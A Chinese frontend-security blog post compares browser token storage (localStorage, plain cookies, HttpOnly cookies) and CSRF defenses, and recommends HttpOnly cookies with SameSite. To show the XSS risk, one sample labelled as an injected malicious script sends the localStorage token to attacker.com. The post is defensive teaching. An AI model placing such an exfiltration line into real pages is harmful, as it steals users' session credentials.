蓝戒博客

  • 首页
  • 研发说
  • 架构论
  • 效能录
  • AI谈
  • 随笔集
智构苍穹
融合 AI、架构与工程实践,沉淀方法论,构建可持续的技术价值。
  1. 首页
  2. 研发说
  3. 正文

生产环境下的 Token 前端存储方案与安全权衡

2025年12月31日 184点热度 0人点赞 0条评论

用户 Token 到底该存哪?

在 Web 应用中,Token 存储位置几乎是所有登录体系都会遇到的问题。
很多项目在最初阶段,会选择一个“最省事”的方案,但随着业务复杂度上升、安全事件频发,这个问题往往会被重新翻出来。

本文从工程安全视角出发,系统梳理几种主流 Token 存储方案的差异、风险与取舍,并给出在真实项目中更稳妥的落地建议。


一、前端能存 Token 的方式有哪些?

从浏览器能力来看,前端可选方案其实不多,主流只有三种:

存储方式XSS 能否读取是否自动随请求发送安全性评价
localStorage✅ 能❌ 否❌ 不推荐
普通 Cookie✅ 能✅ 是❌ 更糟
HttpOnly Cookie❌ 不能✅ 是✅ 推荐

乍一看,三者只是“存储位置不同”,但在安全模型上,差异极大。


二、localStorage:最常见,也最危险

很多项目的初始实现大概都是这样:

JavaScript
// 登录成功后
localStorage.setItem('token', accessToken);

// 请求时读取
fetch('/api/user', {
  headers: {
    Authorization: `Bearer ${localStorage.getItem('token')}`
  }
});

优点很明显:

  • 使用简单
  • 不依赖后端 Cookie 配置
  • 前后端职责清晰

但它有一个致命问题:
👉 XSS 攻击可以直接读取 localStorage

只要页面上出现一次 XSS 漏洞,攻击者就可以轻松把 Token 偷走:

JavaScript
// 恶意注入脚本
fetch(
  'https://attacker.com/steal?token=' + localStorage.getItem('token')
);

现实中,XSS 并不是“极端情况”:

  • innerHTML 使用不当
  • URL 参数直接渲染
  • 第三方脚本被污染
  • Markdown / 富文本解析漏洞

项目越大,入口越多,“一定没有 XSS”几乎是不成立的假设。


三、普通 Cookie:看似安全,其实更糟

有人会想到:

那我把 Token 存到 Cookie 里,不就行了?

如果只是普通 Cookie,结果反而更差:

JavaScript
document.cookie = `token=${accessToken}; path=/`;

问题在于:

  1. XSS 依然可以读
  2. CSRF 风险被自动引入
JavaScript
// XSS 仍然能读取
document.cookie

Cookie 会被浏览器自动携带,这意味着:

  • 攻击者不需要读 Token
  • 只要诱导用户访问恶意页面,就能发起伪造请求

属于是 XSS 和 CSRF 两头吃亏。


四、HttpOnly Cookie:真正值得推荐的方案

HttpOnly Cookie 的核心价值只有一句话:

JavaScript 访问不到

JavaScript
res.cookie('access_token', token, {
  httpOnly: true,   // JS 读不到
  secure: true,     // 仅 HTTPS
  sameSite: 'lax',  // 防 CSRF
  maxAge: 3600000
});

一旦加上 httpOnly: true:

JavaScript
document.cookie // 访问不到 access_token

即使页面发生 XSS,攻击脚本也拿不到 Token 本身。

前端请求时,只需要:

JavaScript
fetch('/api/user', {
  credentials: 'include'
});

浏览器会自动携带 Cookie,但 JS 无法直接操作它。


五、HttpOnly Cookie 的代价:必须正视 CSRF

HttpOnly Cookie 解决了 XSS 偷 Token 的问题,但引入了一个必须面对的现实:
👉 CSRF

因为 Cookie 会自动发送,攻击者可以构造跨站请求。

1️⃣ SameSite:成本最低、收益最高

JavaScript
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

SameSite 选项:

  • strict:最安全,但体验差
  • lax:主流推荐,能防住大多数 CSRF
  • none:需配合 secure,风险最高

绝大多数业务,lax 已经足够。


2️⃣ CSRF Token:更严格的场景

对金融、转账等高风险操作,可以再加一层 CSRF Token:

JavaScript
// 后端生成
res.cookie('csrf_token', csrfToken);

// 前端请求
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  },
  credentials: 'include'
});

攻击者可以“带 Cookie”,
但 无法读取 Cookie 内容来构造请求头。


六、为什么宁愿防 CSRF,也要堵死 XSS?

这是整个设计取舍的关键。

XSS 的现实情况

  • 攻击面极广
  • 来源不可控
  • 一个疏忽就可能中招
  • 一旦成功,Token 可被直接窃取

CSRF 的现实情况

  • 攻击入口有限
  • 防御手段标准化
  • SameSite 即可解决大部分场景
  • 防护成本可控

结论很明确:

与其赌“不会有 XSS”,不如假设 XSS 一定会出现
然后让它偷不到最关键的东西


七、从 localStorage 迁移到 HttpOnly Cookie,要改哪些?

后端

JavaScript
// 登录接口
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 3600000
});

前端

JavaScript
fetch('/api/user', {
  credentials: 'include'
});

如果使用 axios:

JavaScript
axios.defaults.withCredentials = true;

登出

JavaScript
res.clearCookie('access_token');

实际改动远比想象中小,关键是心智转变。


八、如果暂时无法迁移,如何降低风险?

现实中并不是所有项目都能立刻重构,这种情况下至少要做到:

  • 严格防 XSS
    • 禁用 innerHTML
    • 输入统一转义
    • CSP 头
    • 富文本白名单过滤
  • 缩短 Token 生命周期
    • Access Token 15~30 分钟
  • 敏感操作二次校验
  • 异常行为监控

这些措施不能让方案变“安全”,但能降低爆炸半径。


九、总结

  • Token 存储不是“习惯问题”,而是安全模型选择
  • localStorage 最大的问题不是“不优雅”,而是 XSS 可直接盗用
  • HttpOnly Cookie 本质是在做一件事:
    👉 把 Token 从 JavaScript 世界隔离出去
  • CSRF 是可以被系统性防御的,而 XSS 很难做到绝对消失

如果只能记住一句话:

优先阻断“可直接窃取凭证”的攻击路径,再处理“可被伪造请求”的风险

参考资料:https://juejin.cn/post/7583898823920451626

标签: HttpOnly Cookie localStorage 风险 Token 存储 XSS 攻击 前端安全
最后更新:2025年12月31日

cywcd

我始终相信,技术不仅是解决问题的工具,更是推动思维进化和创造价值的方式。从研发到架构,追求极致效能;在随笔中沉淀思考,于 AI 中对话未来。

打赏 点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

cywcd

我始终相信,技术不仅是解决问题的工具,更是推动思维进化和创造价值的方式。从研发到架构,追求极致效能;在随笔中沉淀思考,于 AI 中对话未来。

最新 热点 随机
最新 热点 随机
我把 Codex CLI 装上了“外挂大脑”:oh-my-codex 到底有多猛? Claude Code 生态大爆发:这周 GitHub 热点,已经不是工具升级,而是工作方式重写 51万行代码意外开源!Claude Code源码泄露事件全复盘 别再只卷提示词:Harness 才是让 AI 真正高质量完成工作的底层方法论 GitHub 爆火 4 万星项目:MiroFish,到底是 AI 新神话,还是下一代预测引擎 VibeVoice 火了:这个开源语音 AI,正在重塑播客和语音 Agent
Codex + Agent Browser:让 AI 精准还原前端 UI 的新范式(从设计稿到像素级实现)AI 编程神器 Qoder 专业版免费体验攻略 + QoderWork 全面解析大模型巅峰对决:GPT-5.4 Pro 横空出世,Gemini 3.1、Grok 4.2、Claude Opus 4.6 谁才是最强 AI?AI 开始雇佣人类?RentAHuman 爆火背后:一场关于「AI 代理经济」的真实实验一人指挥 AI 程序员军团:OpenAI:Codex App 来了,开发效率或将提升 10 倍CLI-Anything:让任意软件变成 AI Agent 可操控的工具
🧩 E2E 测试实战:Playwright 介绍与使用,对比 Cypress 的优劣势与生态选择 从 GitLab Issue 构建 RAG 知识库 ECMAScript 2025(ES16)深度解析 Vue 2 安全漏洞深度解析与修复:CVE-2024-9506 & CVE-2024-6783 一条命令让 AI 打通全网:Agent-Reach,让你的 Agent 真正“会冲浪” 云端无服时代:Serverless 架构的进化、现实与未来
最近评论
渔夫 发布于 5 个月前(11月05日) 学到了,感谢博主分享
沙拉小王子 发布于 8 年前(11月30日) 适合vue入门者学习,赞一个
沙拉小王子 发布于 8 年前(11月30日) 适合vue入门者学习,赞一个
cywcd 发布于 9 年前(04月27日) 请参考一下这篇文章http://www.jianshu.com/p/fa4460e75cd8
cywcd 发布于 9 年前(04月27日) 请参考一下这篇文章http://www.jianshu.com/p/fa4460e75cd8

COPYRIGHT © 2025 蓝戒博客_智构苍穹-专注于大前端领域技术生态. ALL RIGHTS RESERVED.

京ICP备12026697号-2